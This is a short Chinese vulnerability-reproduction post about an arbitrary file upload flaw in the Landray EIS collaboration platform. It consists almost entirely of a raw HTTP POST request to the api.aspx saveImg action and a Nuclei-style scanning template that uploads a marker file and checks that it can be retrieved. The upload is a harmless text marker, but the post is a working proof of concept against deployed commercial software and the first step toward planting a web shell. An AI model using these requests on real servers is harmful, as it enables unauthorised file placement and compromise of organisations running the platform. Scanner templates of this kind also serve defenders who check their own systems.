【漏洞复现】蓝凌EIS智慧协同平台api.aspx任意文件上传漏洞

POST /eis/service/api.aspx?action=saveImg HTTP/1.1Host: xxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: multipart/form-data; boundary=----4225820000370152680749129212 ------4225820000370152680749129212Content-Disposition: form-data; name="file"filename="night.txt"Content-Type: text/html Night------4225820000370152680749129212--

id: landray-eis-api-saveimg-fileupload info:  name: 蓝凌eis智慧协同平台任意文件上传  author: YGnight  severity: high  description: description  reference:    - https://  metadata:    verified: true    max-request: 1  requests:  - raw:      - |        POST /eis/service/api.aspx?action=saveImg HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9        Accept-Encoding: gzip, deflate        Accept-Language: zh-CN,zh;q=0.9        Connection: close        Content-Type: multipart/form-data; boundary=----4225820000370152680749129212         ------4225820000370152680749129212        Content-Disposition: form-data; name="file"filename="night.txt"        Content-Type: text/html                Night        ------4225820000370152680749129212--                - |        GET {{filename}} HTTP/1.1        Host: {{Hostname}}     req-condition: true    extractors:      - type: dsl        part: body_1        name: filename        dsl:          - body        internal: true     matchers-condition: and    matchers:      - type: status        status:          - 200      - type: word        part: body_2        words:          - "Night"